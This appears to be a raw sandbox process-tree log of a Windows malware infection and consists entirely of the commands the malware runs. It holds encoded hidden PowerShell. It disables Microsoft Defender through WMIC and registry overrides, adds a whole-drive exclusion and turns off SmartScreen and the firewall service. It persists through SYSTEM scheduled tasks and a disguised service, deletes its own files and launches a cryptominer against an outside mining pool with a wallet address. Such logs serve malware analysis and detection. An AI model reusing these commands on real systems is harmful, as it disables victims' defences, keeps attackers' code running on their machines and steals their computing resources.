C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Users\Admin\AppData\Local\Temp\236.exeC:\Users\Admin\AppData\Local\Temp\236.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\236.exeC:\Users\Admin\AppData\Local\Temp\236.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\646B.exeC:\Users\Admin\AppData\Local\Temp\646B.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\646B.exeC:\Users\Admin\AppData\Local\Temp\646B.exe2⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\83a0fa1b-2a57-4d62-b673-dbfa17871bf8" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\646B.exe"C:\Users\Admin\AppData\Local\Temp\646B.exe" --Admin IsNotAutoStart IsNotTask3⤵
-
C:\Users\Admin\AppData\Local\Temp\646B.exe"C:\Users\Admin\AppData\Local\Temp\646B.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build2.exe"C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build2.exe"5⤵
-
C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build2.exe"C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build2.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build2.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build3.exe"C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build3.exe"5⤵
-
C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build3.exe"C:\Users\Admin\AppData\Local\fb5dba73-a409-4c65-b38a-6322cd30a909\build3.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\difjijrC:\Users\Admin\AppData\Roaming\difjijr1⤵
-
C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\wwgpFMiovwBgRpD\MEmhXUX.exeC:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\wwgpFMiovwBgRpD\MEmhXUX.exe XY /site_id 216660 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "wovemSUpOFDwVyMam" /SC once /ST 14:38:30 /RU "SYSTEM" /TR "\"C:\Windows\Temp\fIDQkgvqEeYuFUPy\ecFUPPvCYERMhrW\WzVDRkx.exe\" 4h /site_id 216660 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "wovemSUpOFDwVyMam"2⤵
-
C:\Users\Admin\AppData\Local\Temp\E87B.exeC:\Users\Admin\AppData\Local\Temp\E87B.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\1C1F.exeC:\Users\Admin\AppData\Local\Temp\1C1F.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\369D.exeC:\Users\Admin\AppData\Local\Temp\369D.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\B823.exeC:\Users\Admin\AppData\Local\Temp\B823.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\B823.exeC:\Users\Admin\AppData\Local\Temp\B823.exe2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Users\Admin\AppData\Local\Temp\C62D.exeC:\Users\Admin\AppData\Local\Temp\C62D.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\C62D.exeC:\Users\Admin\AppData\Local\Temp\C62D.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\D5EE.exeC:\Users\Admin\AppData\Local\Temp\D5EE.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\PpsI3PJsqA.exe"C:\Users\Admin\AppData\Local\Temp\PpsI3PJsqA.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(exit)3⤵
-
C:\ProgramData\Systemd\Database.exeNULL3⤵
-
C:\Users\Admin\AppData\Local\Temp\E4B4.exeC:\Users\Admin\AppData\Local\Temp\E4B4.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\F530.exeC:\Users\Admin\AppData\Local\Temp\F530.exe1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\5F9.exeC:\Users\Admin\AppData\Local\Temp\5F9.exe1⤵
-
C:\Windows\Temp\fIDQkgvqEeYuFUPy\ecFUPPvCYERMhrW\SxSetIB.exeC:\Windows\Temp\fIDQkgvqEeYuFUPy\ecFUPPvCYERMhrW\SxSetIB.exe 4h /site_id 216660 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bEwGusBEGbIeKSSfjR"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\TdgVoScrU\XOdoXZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "xSbgDCImQNdWYmB" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "xSbgDCImQNdWYmB2" /F /xml "C:\Program Files (x86)\TdgVoScrU\lAolSnw.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "xSbgDCImQNdWYmB"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "xSbgDCImQNdWYmB"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "FzvIgGdeRLcgbM" /F /xml "C:\Program Files (x86)\xmhVlMznYVRU2\fjvTywZ.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "rRYXbmmYjIvrG2" /F /xml "C:\ProgramData\mrnDKDtAoCXFymVB\fUhgaXU.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "DVpMShOGhTVXDiVCZ2" /F /xml "C:\Program Files (x86)\ewBllfHVNFkRwSdEiCR\rrBuwPK.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "LdVsjAprHUXUOtSHAnG2" /F /xml "C:\Program Files (x86)\FAROrqqmwDJuC\ICBxVnh.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "lDWDrPZYJQBuPmKYQ" /SC once /ST 17:46:09 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\fIDQkgvqEeYuFUPy\aodRHdcl\FsLQdQC.dll\",#1 /site_id 216660" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "lDWDrPZYJQBuPmKYQ"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "spunOHTKRbea" /SC once /ST 01:18:29 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\CpYNzEgr\UWMIYYl.exe\" RA /S"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "spunOHTKRbea"2⤵
-
C:\Users\Admin\AppData\Local\Temp\1FBC.exeC:\Users\Admin\AppData\Local\Temp\1FBC.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\eyiYJARKcOj & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1FBC.exe"2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\timeout.exetimeout 43⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\2BE3.exeC:\Users\Admin\AppData\Local\Temp\2BE3.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\3838.exeC:\Users\Admin\AppData\Local\Temp\3838.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\brpruhq\2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vhointgo.exe" C:\Windows\SysWOW64\brpruhq\2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create brpruhq binPath= "C:\Windows\SysWOW64\brpruhq\vhointgo.exe /d\"C:\Users\Admin\AppData\Local\Temp\3838.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description brpruhq "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start brpruhq2⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Users\Admin\sxtljmy.exe"C:\Users\Admin\sxtljmy.exe" /d"C:\Users\Admin\AppData\Local\Temp\3838.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rwskilx.exe" C:\Windows\SysWOW64\brpruhq\3⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" config brpruhq binPath= "C:\Windows\SysWOW64\brpruhq\rwskilx.exe /d\"C:\Users\Admin\sxtljmy.exe\""3⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start brpruhq3⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul3⤵
-
C:\Users\Admin\AppData\Local\Temp\5B70.exeC:\Users\Admin\AppData\Local\Temp\5B70.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\710D.exeC:\Users\Admin\AppData\Local\Temp\710D.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\7DC0.exeC:\Users\Admin\AppData\Local\Temp\7DC0.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\7DC0.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\88DC.exeC:\Users\Admin\AppData\Local\Temp\88DC.exe1⤵
-
C:\Windows\SysWOW64\brpruhq\rwskilx.exeC:\Windows\SysWOW64\brpruhq\rwskilx.exe /d"C:\Users\Admin\sxtljmy.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half3⤵
-
